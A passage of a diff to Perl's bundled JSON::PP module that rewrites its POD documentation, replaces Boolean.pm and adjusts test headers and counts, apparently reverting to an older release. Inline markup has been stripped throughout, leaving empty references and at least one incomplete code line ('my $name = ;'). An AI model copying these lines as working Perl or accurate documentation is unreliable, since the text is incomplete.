-concatenated back-to-back. If an error occurs, an exception will be
-raised as in the scalar context case. Note that in this case, any
-previously-parsed JSON texts will be lost.
+otherwise. For this to work, there must be no separators between the JSON
+objects or arrays, instead they must be concatenated back-to-back. If
+an error occurs, an exception will be raised as in the scalar context
+case. Note that in this case, any previously-parsed JSON texts will be
+lost.
 
-Example: Parse some JSON arrays/objects in a given string and return
-them.
+Example: Parse some JSON arrays/objects in a given string and return them.
 
-    my @objs = JSON::PP->new->incr_parse ("[5][7][1,2]");
+    my @objs = JSON->new->incr_parse ("[5][7][1,2]");
 
 =head2 incr_text
 
@@ -2466,26 +2348,27 @@ although in simple tests it might actually work, it I fail under
 real world conditions). As a special exception, you can also call this
 method before having parsed anything.
 
-That means you can only use this function to look at or manipulate text
-before or after complete JSON objects, not while the parser is in the
-middle of parsing a JSON object.
-
 This function is useful in two cases: a) finding the trailing text after a
 JSON object or b) parsing multiple JSON objects separated by non-JSON text
 (such as commas).
 
+    $json->incr_text =~ s/\s*,\s*//;
+
+In Perl 5.005, C attribute is not available.
+You must write codes like the below:
+
+    $string = $json->incr_text;
+    $string =~ s/\s*,\s*//;
+    $json->incr_text( $string );
+
 =head2 incr_skip
 
     $json->incr_skip
 
-This will reset the state of the incremental parser and will remove
-the parsed text from the input buffer so far. This is useful after
-C died, in which case the input buffer and incremental parser
-state is left unchanged, to skip the text parsed so far and to reset the
-parse state.
-
-The difference to C is that only text until the parse error
-occurred is removed.
+This will reset the state of the incremental parser and will remove the
+parsed text from the input buffer. This is useful after C
+died, in which case the input buffer and incremental parser state is left
+unchanged, to skip the text parsed so far and to reset the parse state.
 
 =head2 incr_reset
 
@@ -2498,18 +2381,148 @@ This is useful if you want to repeatedly parse JSON objects and want to
 ignore any trailing data, which means you have to reset the parser after
 each successful decode.
 
-=head1 MAPPING
+See to L for examples.
+
+
+=head1 JSON::PP OWN METHODS
+
+=head2 allow_singlequote
+
+    $json = $json->allow_singlequote([$enable])
+
+If C<$enable> is true (or missing), then C will accept
+JSON strings quoted by single quotations that are invalid JSON
+format.
+
+    $json->allow_singlequote->decode({"foo":'bar'});
+    $json->allow_singlequote->decode({'foo':"bar"});
+    $json->allow_singlequote->decode({'foo':'bar'});
+
+As same as the C option, this option may be used to parse
+application-specific files written by humans.
+
+
+=head2 allow_barekey
+
+    $json = $json->allow_barekey([$enable])
+
+If C<$enable> is true (or missing), then C will accept
+bare keys of JSON object that are invalid JSON format.
+
+As same as the C option, this option may be used to parse
+application-specific files written by humans.
+
+    $json->allow_barekey->decode('{foo:"bar"}');
+
+=head2 allow_bignum
+
+    $json = $json->allow_bignum([$enable])
+
+If C<$enable> is true (or missing), then C will convert
+the big integer Perl cannot handle as integer into a L
+object and convert a floating number (any) into a L.
+
+On the contrary, C converts C objects and C
+objects into JSON numbers with C enabled.
+
+   $json->allow_nonref->allow_blessed->allow_bignum;
+   $bigfloat = $json->decode('2.000000000000000000000000001');
+   print $json->encode($bigfloat);
+   # => 2.000000000000000000000000001
+
+See to L about the normal conversion of JSON number.
+
+=head2 loose
+
+    $json = $json->loose([$enable])
+
+The unescaped [\x00-\x1f\x22\x2f\x5c] strings are invalid in JSON strings
+and the module doesn't allow you to C to these (except for \x2f).
+If C<$enable> is true (or missing), then C  will accept these
+unescaped strings.
+
+    $json->loose->decode(qq|["abc
+                                   def"]|);
+
+See L.
+
+=head2 escape_slash
+
+    $json = $json->escape_slash([$enable])
+
+According to JSON Grammar, I (U+002F) is escaped. But default
+JSON::PP (as same as JSON::XS) encodes strings without escaping slash.
+
+If C<$enable> is true (or missing), then C will escape slashes.
+
+=head2 indent_length
+
+    $json = $json->indent_length($length)
+
+JSON::XS indent space length is 3 and cannot be changed.
+JSON::PP set the indent space length with the given $length.
+The default is 3. The acceptable range is 0 to 15.
+
+=head2 sort_by
+
+    $json = $json->sort_by($function_name)
+    $json = $json->sort_by($subroutine_ref)
+
+If $function_name or $subroutine_ref are set, its sort routine are used
+in encoding JSON objects.
+
+   $js = $pc->sort_by(sub { $JSON::PP::a cmp $JSON::PP::b })->encode($obj);
+   # is($js, q|{"a":1,"b":2,"c":3,"d":4,"e":5,"f":6,"g":7,"h":8,"i":9}|);
+
+   $js = $pc->sort_by('own_sort')->encode($obj);
+   # is($js, q|{"a":1,"b":2,"c":3,"d":4,"e":5,"f":6,"g":7,"h":8,"i":9}|);
+
+   sub JSON::PP::own_sort { $JSON::PP::a cmp $JSON::PP::b }
+
+As the sorting routine runs in the JSON::PP scope, the given
+subroutine name and the special variables C<$a>, C<$b> will begin
+'JSON::PP::'.
+
+If $integer is set, then the effect is same as C on.
+
+=head1 INTERNAL
+
+For developers.
 
-Most of this section is also taken from JSON::XS.
+=over
 
-This section describes how JSON::PP maps Perl values to JSON values and
-vice versa. These mappings are designed to "do the right thing" in most
-circumstances automatically, preserving round-tripping characteristics
-(what you put in comes out as something equivalent).
+=item PP_encode_box
 
-For the more enlightened: note that in the following descriptions,
-lowercase I refers to the Perl interpreter, while uppercase I
-refers to the abstract Perl language itself.
+Returns
+
+        {
+            depth        => $depth,
+            indent_count => $indent_count,
+        }
+
+
+=item PP_decode_box
+
+Returns
+
+        {
+            text    => $text,
+            at      => $at,
+            ch      => $ch,
+            len     => $len,
+            depth   => $depth,
+            encoding      => $encoding,
+            is_valid_utf8 => $is_valid_utf8,
+        };
+
+=back
+
+=head1 MAPPING
+
+This section is copied from JSON::XS and modified to C.
+JSON::XS and JSON::PP mapping mechanisms are almost equivalent.
+
+See to L.
 
 =head2 JSON -> PERL
 
@@ -2518,7 +2531,7 @@ refers to the abstract Perl language itself.
 =item object
 
 A JSON object becomes a reference to a hash in Perl. No ordering of object
-keys is preserved (JSON does not preserve object key ordering itself).
+keys is preserved (JSON does not preserver object key ordering itself).
 
 =item array
 
@@ -2538,7 +2551,7 @@ the Perl level, there is no difference between those as Perl handles all
 the conversion details, but an integer may take slightly less memory and
 might represent more values exactly than floating point numbers.
 
-If the number consists of digits only, JSON::PP will try to represent
+If the number consists of digits only, C will try to represent
 it as an integer value. If that fails, it will try to represent it as
 a numeric (floating point) value if that is possible without loss of
 precision. Otherwise it will preserve the number as a string value (in
@@ -2552,30 +2565,36 @@ the JSON number will still be re-encoded as a JSON number).
 
 Note that precision is not accuracy - binary floating point values cannot
 represent most decimal fractions exactly, and when converting from and to
-floating point, JSON::PP only guarantees precision up to but not including
+floating point, C only guarantees precision up to but not including
 the least significant bit.
 
-When C is enabled, big integer values and any numeric
-values will be converted into L and L
-objects respectively, without becoming string scalars or losing
-precision.
+When C is enabled, the big integers 
+and the numeric can be optionally converted into L and
+L objects.
 
 =item true, false
 
 These JSON atoms become C and C,
 respectively. They are overloaded to act almost exactly like the numbers
 C<1> and C<0>. You can check whether a scalar is a JSON boolean by using
-the C function.
+the C function.
+
+   print JSON::PP::true . "\n";
+    => true
+   print JSON::PP::true + 1;
+    => 1
+
+   ok(JSON::true eq  '1');
+   ok(JSON::true == 1);
+
+C will install these missing overloading features to the backend modules.
+
 
 =item null
 
 A JSON null atom becomes C in Perl.
 
-=item shell-style comments (C<< # I >>)
-
-As a nonstandard extension to the JSON syntax that is enabled by the
-C setting, shell-style comments are allowed. They can start
-anywhere outside strings and go till the end of the line.
+C returns C.
 
 =back
 
@@ -2590,14 +2609,16 @@ a Perl value.
 
 =item hash references
 
-Perl hash references become JSON objects. As there is no inherent
-ordering in hash keys (or JSON objects), they will usually be encoded
-in a pseudo-random order. JSON::PP can optionally sort the hash keys
-(determined by the I flag and/or I property), so
-the same data structure will serialise to the same JSON text (given
-same settings and version of JSON::PP), but this incurs a runtime
-overhead and is only rarely useful, e.g. when you want to compare some
-JSON text against another for equality.
+Perl hash references become JSON objects. As there is no inherent ordering
+in hash keys (or JSON objects), they will usually be encoded in a
+pseudo-random order that can change between runs of the same program but
+stays generally the same within a single run of a program. C
+optionally sort the hash keys (determined by the I flag), so
+the same datastructure will serialise to the same JSON text (given same
+settings and version of JSON::XS), but this incurs a runtime overhead
+and is only rarely useful, e.g. when you want to compare some JSON text
+against another for equality.
+
 
 =item array references
 
@@ -2608,30 +2629,31 @@ Perl array references become JSON arrays.
 Other unblessed references are generally not allowed and will cause an
 exception to be thrown, except for references to the integers C<0> and
 C<1>, which get turned into C and C atoms in JSON. You can
-also use C and C to improve
-readability.
+also use C and C to improve readability.
 
-   to_json [\0, JSON::PP::true]      # yields [false,true]
+   to_json [\0,JSON::PP::true]      # yields [false,true]
 
-=item JSON::PP::true, JSON::PP::false
+=item JSON::PP::true, JSON::PP::false, JSON::PP::null
 
 These special values become JSON true and JSON false values,
 respectively. You can also use C<\1> and C<\0> directly if you want.
 
-=item JSON::PP::null
-
-This special value becomes JSON null.
+JSON::PP::null returns C.
 
 =item blessed objects
 
-Blessed objects are not directly representable in JSON, but C
-allows various ways of handling objects. See L,
-below, for details.
+Blessed objects are not directly representable in JSON. See the
+C and C methods on various options on
+how to deal with this: basically, you can choose between throwing an
+exception, encoding the reference as if it weren't blessed, or provide
+your own serialiser method.
+
+See to L.
 
 =item simple scalars
 
 Simple Perl scalars (any scalar that is not a reference) are the most
-difficult objects to encode: JSON::PP will encode undefined scalars as
+difficult objects to encode: JSON::XS and JSON::PP will encode undefined scalars as
 JSON C values, scalars that have last been used in a string context
 before encoding as JSON strings, and anything else as number value:
 
@@ -2653,7 +2675,6 @@ You can force the type to be a string by stringifying it:
    "$x";        # stringified
    $x .= "";    # another, more awkward way to stringify
    print $x;    # perl does it for you, too, quite often
-                # (but for older perls)
 
 You can force the type to be a number by numifying it:
 
@@ -2670,171 +2691,94 @@ extensions to the floating point numbers of your platform, such as
 infinities or NaN's - these cannot be represented in JSON, and it is an
 error to pass those in.
 
-JSON::PP (and JSON::XS) trusts what you pass to C method
-(or C function) is a clean, validated data structure with
-values that can be represented as valid JSON values only, because it's
-not from an external data source (as opposed to JSON texts you pass to
-C or C, which JSON::PP considers tainted and
-doesn't trust). As JSON::PP doesn't know exactly what you and consumers
-of your JSON texts want the unexpected values to be (you may want to
-convert them into null, or to stringify them with or without
-normalisation (string representation of infinities/NaN may vary
-depending on platforms), or to croak without conversion), you're advised
-to do what you and your consumers need before you encode, and also not
-to numify values that may start with values that look like a number
-(including infinities/NaN), without validating.
+=item Big Number
+
+When C is enabled, 
+C converts C objects and C
+objects into JSON numbers.
+
 
 =back
 
-=head2 OBJECT SERIALISATION
+=head1 UNICODE HANDLING ON PERLS
 
-As for Perl objects, JSON::PP only supports a pure JSON representation (without the ability to deserialise the object automatically again).
+If you do not know about Unicode on Perl well,
+please check L.
 
-=head3 SERIALISATION
+=head2 Perl 5.8 and later
 
-What happens when C encounters a Perl object depends on the
-C, C and C settings, which are
-used in this order:
+Perl can handle Unicode and the JSON::PP de/encode methods also work properly.
 
-=over 4
+    $json->allow_nonref->encode(chr hex 3042);
+    $json->allow_nonref->encode(chr hex 12345);
 
-=item 1. C is enabled and the object has a C method.
+Returns C<"\u3042"> and C<"\ud808\udf45"> respectively.
 
-In this case, the C method of the object is invoked in scalar
-context. It must return a single scalar that can be directly encoded into
-JSON. This scalar replaces the object in the JSON text.
+    $json->allow_nonref->decode('"\u3042"');
+    $json->allow_nonref->decode('"\ud808\udf45"');
 
-For example, the following C method will convert all L
-objects to JSON strings when serialised. The fact that these values
-originally were L objects is lost.
+Returns UTF-8 encoded strings with UTF8 flag, regarded as C and C.
 
-   sub URI::TO_JSON {
-      my ($uri) = @_;
-      $uri->as_string
-   }
+Note that the versions from Perl 5.8.0 to 5.8.2, Perl built-in C was broken,
+so JSON::PP wraps the C with a subroutine. Thus JSON::PP works slow in the versions.
 
-=item 2. C is enabled and the object is a C or C.
 
-The object will be serialised as a JSON number value.
+=head2 Perl 5.6
 
-=item 3. C is enabled.
+Perl can handle Unicode and the JSON::PP de/encode methods also work.
 
-The object will be serialised as a JSON null value.
+=head2 Perl 5.005
 
-=item 4. none of the above
+Perl 5.005 is a byte semantics world -- all strings are sequences of bytes.
+That means the unicode handling is not available.
 
-If none of the settings are enabled or the respective methods are missing,
-C throws an exception.
+In encoding,
 
-=back
+    $json->allow_nonref->encode(chr hex 3042);  # hex 3042 is 12354.
+    $json->allow_nonref->encode(chr hex 12345); # hex 12345 is 74565.
 
-=head1 ENCODING/CODESET FLAG NOTES
+Returns C and C, as C takes a value more than 255, it treats
+as C<$value % 256>, so the above codes are equivalent to :
 
-This section is taken from JSON::XS.
+    $json->allow_nonref->encode(chr 66);
+    $json->allow_nonref->encode(chr 69);
 
-The interested reader might have seen a number of flags that signify
-encodings or codesets - C, C and C. There seems to be
-some confusion on what these do, so here is a short comparison:
+In decoding,
 
-C controls whether the JSON text created by C (and expected
-by C) is UTF-8 encoded or not, while C and C only
-control whether C escapes character values outside their respective
-codeset range. Neither of these flags conflict with each other, although
-some combinations make less sense than others.
+    $json->decode('"\u00e3\u0081\u0082"');
 
-Care has been taken to make all flags symmetrical with respect to
-C and C, that is, texts encoded with any combination of
-these flag values will be correctly decoded when the same flags are used
-- in general, if you use different flag settings while encoding vs. when
-decoding you likely have a bug somewhere.
+The returned is a byte sequence C<0xE3 0x81 0x82> for UTF-8 encoded
+Japanese character (C).
+And if it is represented in Unicode code point, C.
 
-Below comes a verbose discussion of these flags. Note that a "codeset" is
-simply an abstract set of character-codepoint pairs, while an encoding
-takes those codepoint numbers and I them, in our case into
-octets. Unicode is (among other things) a codeset, UTF-8 is an encoding,
-and ISO-8859-1 (= latin 1) and ASCII are both codesets I encodings at
-the same time, which can be confusing.
+Next, 
 
-=over 4
+    $json->decode('"\u3042"');
+
+We ordinary expect the returned value is a Unicode character C.
+But here is 5.005 world. This is C<0xE3 0x81 0x82>.
+
+    $json->decode('"\ud808\udf45"');
+
+This is not a character C but bytes - C<0xf0 0x92 0x8d 0x85>.
 
-=item C flag disabled
-
-When C is disabled (the default), then C/C generate
-and expect Unicode strings, that is, characters with high ordinal Unicode
-values (> 255) will be encoded as such characters, and likewise such
-characters are decoded as-is, no changes to them will be done, except
-"(re-)interpreting" them as Unicode codepoints or Unicode characters,
-respectively (to Perl, these are the same thing in strings unless you do
-funny/weird/dumb stuff).
-
-This is useful when you want to do the encoding yourself (e.g. when you
-want to have UTF-16 encoded JSON texts) or when some other layer does
-the encoding for you (for example, when printing to a terminal using a
-filehandle that transparently encodes to UTF-8 you certainly do NOT want
-to UTF-8 encode your data first and have Perl encode it another time).
-
-=item C flag enabled
-
-If the C-flag is enabled, C/C will encode all
-characters using the corresponding UTF-8 multi-byte sequence, and will
-expect your input strings to be encoded as UTF-8, that is, no "character"
-of the input string must have any value > 255, as UTF-8 does not allow
-that.
-
-The C flag therefore switches between two modes: disabled means you
-will get a Unicode string in Perl, enabled means you get an UTF-8 encoded
-octet/binary string in Perl.
-
-=item C or C flags enabled
-
-With C (or C) enabled, C will escape characters
-with ordinal values > 255 (> 127 with C) and encode the remaining
-characters as specified by the C flag.
-
-If C is disabled, then the result is also correctly encoded in those
-character sets (as both are proper subsets of Unicode, meaning that a
-Unicode string with all character values < 256 is the same thing as a
-ISO-8859-1 string, and a Unicode string with all character values < 128 is
-the same thing as an ASCII string in Perl).
-
-If C is enabled, you still get a correct UTF-8-encoded string,
-regardless of these flags, just some more characters will be escaped using
-C<\uXXXX> then before.
-
-Note that ISO-8859-1-I strings are not compatible with UTF-8
-encoding, while ASCII-encoded strings are. That is because the ISO-8859-1
-encoding is NOT a subset of UTF-8 (despite the ISO-8859-1 I being
-a subset of Unicode), while ASCII is.
-
-Surprisingly, C will ignore these flags and so treat all input
-values as governed by the C flag. If it is disabled, this allows you
-to decode ISO-8859-1- and ASCII-encoded strings, as both strict subsets of
-Unicode. If it is enabled, you can correctly decode UTF-8 encoded strings.
-
-So neither C nor C are incompatible with the C flag -
-they only govern when the JSON output engine escapes a character or not.
-
-The main use for C is to relatively efficiently store binary data
-as JSON, at the expense of breaking compatibility with most JSON decoders.
-
-The main use for C is to force the output to not contain characters
-with values > 127, which means you can interpret the resulting string
-as UTF-8, ISO-8859-1, ASCII, KOI8-R or most about any character set and
-8-bit-encoding, and still get the same data structure back. This is useful
-when your channel for JSON transfer is not 8-bit clean or the encoding
-might be mangled in between (e.g. in mail), and works because ASCII is a
-proper subset of most 8-bit and multibyte encodings in use in the world.
+
+=head1 TODO
+
+=over
+
+=item speed
+
+=item memory saving
 
 =back
 
-=head1 SEE ALSO
 
-The F command line utility for quick experiments.
+=head1 SEE ALSO
 
-L, L, and L for faster alternatives.
-L and L for easy migration.
+Most of the document are copied and modified from JSON::XS doc.
 
-L and L for older perl users.
+L
 
 RFC4627 (L)
 
diff --git a/cpan/JSON-PP/lib/JSON/PP/Boolean.pm b/cpan/JSON-PP/lib/JSON/PP/Boolean.pm
index 1d1c5c485cc9..0b1fb19b2c29 100644
--- a/cpan/JSON-PP/lib/JSON/PP/Boolean.pm
+++ b/cpan/JSON-PP/lib/JSON/PP/Boolean.pm
@@ -1,19 +1,3 @@
-package JSON::PP::Boolean;
-
-use strict;
-use overload (
-    "0+"     => sub { ${$_[0]} },
-    "++"     => sub { $_[0] = ${$_[0]} + 1 },
-    "--"     => sub { $_[0] = ${$_[0]} - 1 },
-    fallback => 1,
-);
-
-$JSON::PP::Boolean::VERSION = '2.97001';
-
-1;
-
-__END__
-
 =head1 NAME
 
 JSON::PP::Boolean - dummy module providing JSON::PP::Boolean
@@ -27,6 +11,13 @@ JSON::PP::Boolean - dummy module providing JSON::PP::Boolean
 This module exists only to provide overload resolution for Storable and similar modules. See
 L for more info about this class.
 
+=cut
+
+use JSON::PP ();
+use strict;
+
+1;
+
 =head1 AUTHOR
 
 This idea is from L written by Marc Lehmann 
diff --git a/cpan/JSON-PP/t/001_utf8.t b/cpan/JSON-PP/t/001_utf8.t
index e78fdcb11fb0..65c7d333ee3f 100644
--- a/cpan/JSON-PP/t/001_utf8.t
+++ b/cpan/JSON-PP/t/001_utf8.t
@@ -1,4 +1,4 @@
-# copied over from JSON::XS and modified to use JSON::PP
+# copied over from JSON::PP::XS and modified to use JSON::PP
 
 use strict;
 use Test::More;
diff --git a/cpan/JSON-PP/t/002_error.t b/cpan/JSON-PP/t/002_error.t
index 166bafc3677b..ec42d5069842 100644
--- a/cpan/JSON-PP/t/002_error.t
+++ b/cpan/JSON-PP/t/002_error.t
@@ -1,4 +1,4 @@
-# copied over from JSON::XS and modified to use JSON::PP
+# copied over from JSON::PP::XS and modified to use JSON::PP
 
 use strict;
 use Test::More;
diff --git a/cpan/JSON-PP/t/003_types.t b/cpan/JSON-PP/t/003_types.t
index 22e0f7ec2e05..eaf114bcdcbf 100644
--- a/cpan/JSON-PP/t/003_types.t
+++ b/cpan/JSON-PP/t/003_types.t
@@ -1,8 +1,8 @@
-# copied over from JSON::XS and modified to use JSON::PP
+# copied over from JSON::PP::XS and modified to use JSON::PP
 use strict;
 use Test::More;
 
-BEGIN { plan tests => 78 };
+BEGIN { plan tests => 76 };
 
 BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
 
@@ -21,8 +21,6 @@ ok ($false == !$true);
 ok (JSON::PP::is_bool $false);
 ok (++$false == 1);
 ok (!JSON::PP::is_bool $false);
-ok (!JSON::PP::is_bool "JSON::PP::Boolean");
-ok (!JSON::PP::is_bool {}); # GH-34
 
 ok (JSON::PP->new->allow_nonref (1)->decode ('5') == 5);
 ok (JSON::PP->new->allow_nonref (1)->decode ('-5') == -5);
diff --git a/cpan/JSON-PP/t/006_pc_pretty.t b/cpan/JSON-PP/t/006_pc_pretty.t
index 2de5c5d37cb3..b16bed68fdf7 100644
--- a/cpan/JSON-PP/t/006_pc_pretty.t
+++ b/cpan/JSON-PP/t/006_pc_pretty.t
@@ -1,5 +1,7 @@
-# copied over from JSON::PC and modified to use JSON::PP
-# copied over from JSON::XS and modified to use JSON::PP
+#! perl
+
+# copied over from JSON::PP::PC and modified to use JSON::PP
+# copied over from JSON::PP::XS and modified to use JSON::PP
 
 use strict;
 use Test::More;
diff --git a/cpan/JSON-PP/t/007_pc_esc.t b/cpan/JSON-PP/t/007_pc_esc.t
index a5efc8beceb6..980e3a0b0327 100644
--- a/cpan/JSON-PP/t/007_pc_esc.t
+++ b/cpan/JSON-PP/t/007_pc_esc.t
@@ -2,13 +2,13 @@
 # このファイルのエンコーディングはUTF-8
 #
 
-# copied over from JSON::PC and modified to use JSON::PP
-# copied over from JSON::XS and modified to use JSON::PP
+# copied over from JSON::PP::PC and modified to use JSON::PP
+# copied over from JSON::PP::XS and modified to use JSON::PP
 
 use Test::More;
 use strict;
 
-BEGIN { plan tests => 18 };
+BEGIN { plan tests => 17 };
 
 BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
 
@@ -91,7 +91,3 @@ is($obj->{id},"abc\\ndef",q|{"id":"abc\\\ndef"}|);
 $obj = $pc->decode(q|{"id":"abc\\\\\ndef"}|);
 is($obj->{id},"abc\\\ndef",q|{"id":"abc\\\\\ndef"}|);
 
-$obj = {test => "\'I said\', \"She said\""};
-$str = $pc->encode($obj);
-is($str,q|{"test":"'I said', \"She said\""}|);
-
diff --git a/cpan/JSON-PP/t/008_pc_base.t b/cpan/JSON-PP/t/008_pc_base.t
index bcc9d8e7bd28..371e62a81fde 100644
--- a/cpan/JSON-PP/t/008_pc_base.t
+++ b/cpan/JSON-PP/t/008_pc_base.t
@@ -1,7 +1,7 @@
 use Test::More;
 
-# copied over from JSON::PC and modified to use JSON::PP
-# copied over from JSON::XS and modified to use JSON::PP
+# copied over from JSON::PP::PC and modified to use JSON::PP
+# copied over from JSON::PP::XS and modified to use JSON::PP
 
 use strict;
 BEGIN { plan tests => 20 };
diff --git a/cpan/JSON-PP/t/009_pc_extra_number.t b/cpan/JSON-PP/t/009_pc_extra_number.t
index 25497a6ff872..4357939c2dd4 100644
--- a/cpan/JSON-PP/t/009_pc_extra_number.t
+++ b/cpan/JSON-PP/t/009_pc_extra_number.t
@@ -1,5 +1,5 @@
-# copied over from JSON::PC and modified to use JSON::PP
-# copied over from JSON::XS and modified to use JSON::PP
+# copied over from JSON::PP::PC and modified to use JSON::PP
+# copied over from JSON::PP::XS and modified to use JSON::PP
 
 use Test::More;
 use strict;
diff --git a/cpan/JSON-PP/t/010_pc_keysort.t b/cpan/JSON-PP/t/010_pc_keysort.t
index c5e5c099a4ad..faebaf782593 100644
--- a/cpan/JSON-PP/t/010_pc_keysort.t
+++ b/cpan/JSON-PP/t/010_pc_keysort.t
@@ -1,5 +1,5 @@
-# copied over from JSON::PC and modified to use JSON::PP
-# copied over from JSON::XS and modified to use JSON::PP
+# copied over from JSON::PP::PC and modified to use JSON::PP
+# copied over from JSON::PP::XS and modified to use JSON::PP
 
 use Test::More;
 use strict;
diff --git a/cpan/JSON-PP/t/011_pc_expo.t b/cpan/JSON-PP/t/011_pc_expo.t
index 154a8256ef4d..941d18dba64f 100644
--- a/cpan/JSON-PP/t/011_pc_expo.t
+++ b/cpan/JSON-PP/t/011_pc_expo.t
@@ -1,5 +1,5 @@
-# copied over from JSON::PC and modified to use JSON::PP
-# copied over from JSON::XS and modified to use JSON::PP
+# copied over from JSON::PP::PC and modified to use JSON::PP
+# copied over from JSON::PP::XS and modified to use JSON::PP
 
 use Test::More;
 use strict;
@@ -22,10 +22,8 @@ is($js,'[-12.34]', 'digit -12.34');
 $js  = q|[-1.234e5]|;
 $obj = $pc->decode($js);
 is($obj->[0], -123400, 'digit -1.234e5');
-{ #SKIP_IF_CPANEL
 $js = $pc->encode($obj);
 is($js,'[-123400]', 'digit -1.234e5');
-}
 
 $js  = q|[1.23E-4]|;
 $obj = $pc->decode($js);
diff --git a/cpan/JSON-PP/t/012_blessed.t b/cpan/JSON-PP/t/012_blessed.t
index 7f0b41025c03..06b4ba40392a 100644
--- a/cpan/JSON-PP/t/012_blessed.t
+++ b/cpan/JSON-PP/t/012_blessed.t
@@ -1,4 +1,4 @@
-# copied over from JSON::XS and modified to use JSON::PP
+# copied over from JSON::PP::XS and modified to use JSON::PP
 
 use strict;
 use Test::More;
diff --git a/cpan/JSON-PP/t/014_latin1.t b/cpan/JSON-PP/t/014_latin1.t
index 6c02d6277088..2277b576225e 100644
--- a/cpan/JSON-PP/t/014_latin1.t
+++ b/cpan/JSON-PP/t/014_latin1.t
@@ -1,4 +1,4 @@
-# copied over from JSON::XS and modified to use JSON::PP
+# copied over from JSON::PP::XS and modified to use JSON::PP
 
 use Test::More;
 use strict;
diff --git a/cpan/JSON-PP/t/015_prefix.t b/cpan/JSON-PP/t/015_prefix.t
index b6474fede656..74c96a7ac20d 100644
--- a/cpan/JSON-PP/t/015_prefix.t
+++ b/cpan/JSON-PP/t/015_prefix.t
@@ -1,4 +1,4 @@
-# copied over from JSON::XS and modified to use JSON::PP
+# copied over from JSON::PP::XS and modified to use JSON::PP
 
 BEGIN { $| = 1; print "1..4\n"; }
 BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
diff --git a/cpan/JSON-PP/t/016_tied.t b/cpan/JSON-PP/t/016_tied.t
index 96035fea6c00..27634158176d 100644
--- a/cpan/JSON-PP/t/016_tied.t
+++ b/cpan/JSON-PP/t/016_tied.t
@@ -1,4 +1,4 @@
-# copied over from JSON::XS and modified to use JSON::PP
+# copied over from JSON::PP::XS and modified to use JSON::PP
 
 use strict;
 use Test::More;
diff --git a/cpan/JSON-PP/t/017_relaxed.t b/cpan/JSON-PP/t/017_relaxed.t
index 243f9973e452..b577e33a74d0 100644
--- a/cpan/JSON-PP/t/017_relaxed.t
+++ b/cpan/JSON-PP/t/017_relaxed.t
@@ -1,4 +1,4 @@
-# copied over from JSON::XS and modified to use JSON::PP
+# copied over from JSON::PP::XS and modified to use JSON::PP
 
 use Test::More;
 use strict;
diff --git a/cpan/JSON-PP/t/018_json_checker.t b/cpan/JSON-PP/t/018_json_checker.t
index 1e84987e6e62..554084b31679 100644
--- a/cpan/JSON-PP/t/018_json_checker.t
+++ b/cpan/JSON-PP/t/018_json_checker.t
@@ -1,7 +1,9 @@
+#! perl
+
 # use the testsuite from http://www.json.org/JSON_checker/
 # except for fail18.json, as we do not support a depth of 20 (but 16 and 32).
 
-# copied over from JSON::XS and modified to use JSON::PP
+# copied over from JSON::PP::XS and modified to use JSON::PP
 
 use strict;
 #no warnings;
@@ -25,9 +27,6 @@ for (;;) {
       or last;
    $/ = "\n";
    my $name = ;
-   if ($vax_float && $name =~ /pass1.json/) {
-       $test =~ s/\b23456789012E66\b/23456789012E20/;
-   }
    if (my $perl = eval { $json->decode ($test) }) {
       ok ($name =~ /^pass/, $name);
 #print $json->encode ($perl), "\n";
@@ -121,7 +120,7 @@ break"]
         "real": -9876.543210,
         "e": 0.123456789e-12,
         "E": 1.234567890E+34,
-        "":  23456789012E66,
+        "":  23456789012E20,
         "zero": 0,
         "one": 1,
         "space": " ",
diff --git a/cpan/JSON-PP/t/019_incr.t b/cpan/JSON-PP/t/019_incr.t
index 9d4710bbd949..dc84c551060c 100644
--- a/cpan/JSON-PP/t/019_incr.t
+++ b/cpan/JSON-PP/t/019_incr.t
@@ -1,4 +1,6 @@
-# copied over from JSON::XS and modified to use JSON::PP
+#!/usr/bin/perl -w
+
+# copied over from JSON::PP::XS and modified to use JSON::PP
 
 use strict;
 
diff --git a/cpan/JSON-PP/t/020_unknown.t b/cpan/JSON-PP/t/020_unknown.t
index 98e9528f7fe1..ef69338f43cc 100644
--- a/cpan/JSON-PP/t/020_unknown.t
+++ b/cpan/JSON-PP/t/020_unknown.t
@@ -1,3 +1,5 @@
+#!/usr/bin/perl -w
+
 use strict;
 
 use Test::More;
@@ -40,7 +42,7 @@ my $fh;
 open( $fh, '>hoge.txt' ) or die $!;
 
 eval q| $json->encode( [ $fh ] ) |;
-ok( $@ =~ /encountered GLOB|cannot encode reference to scalar/, $@ );
+ok( $@ =~ /encountered GLOB/, $@ );
 
 $json->allow_unknown(1);
 
diff --git a/cpan/JSON-PP/t/021_evans_bugrep.t b/cpan/JSON-PP/t/021_evans_bugrep.t
index ecbfcddc1d65..93da0f027afa 100644
--- a/cpan/JSON-PP/t/021_evans_bugrep.t
+++ b/cpan/JSON-PP/t/021_evans_bugrep.t
@@ -32,7 +32,7 @@ eval {
     $j->incr_text;
 };
 
-like( $@, qr/incr_text can ?not be called when the incremental parser already started parsing/ );
+like( $@, qr/incr_text cannot be called when the incremental parser already started parsing/ );
 
 $object = $j->incr_parse($parts[1]);
 
diff --git a/cpan/JSON-PP/t/099_binary.t b/cpan/JSON-PP/t/099_binary.t
index e924305e03dc..56f23297fa08 100644
--- a/cpan/JSON-PP/t/099_binary.t
+++ b/cpan/JSON-PP/t/099_binary.t
@@ -1,4 +1,4 @@
-# copied over from JSON::XS and modified to use JSON::PP
+# copied over from JSON::PP::XS and modified to use JSON::PP
 
 use Test::More;
 use strict;
@@ -40,7 +40,7 @@ sub test($) {
    ok ($_[0] eq JSON::PP->new->shrink->decode ($js)->[0]);
 }
 
-srand 0; # doesn't help too much, but its at least more deterministic
+srand 0; # doesn't help too much, but its at leats more deterministic
 
 #for (1..768) {
 for (1..64, 125..129, 255..257, 512, 704, 736, 768) {
diff --git a/cpan/JSON-PP/t/110_bignum.t b/cpan/JSON-PP/t/110_bignum.t
index c4c282f4370a..9826c613030e 100644
--- a/cpan/JSON-PP/t/110_bignum.t
+++ b/cpan/JSON-PP/t/110_bignum.t
@@ -1,7 +1,7 @@
 
 use strict;
 use Test::More;
-BEGIN { plan tests => 9 };
+BEGIN { plan tests => 6 };
 
 BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
 
@@ -10,7 +10,7 @@ use JSON::PP;
 eval q| require Math::BigInt |;
 
 SKIP: {
-    skip "Can't load Math::BigInt.", 9 if ($@);
+    skip "Can't load Math::BigInt.", 6 if ($@);
 
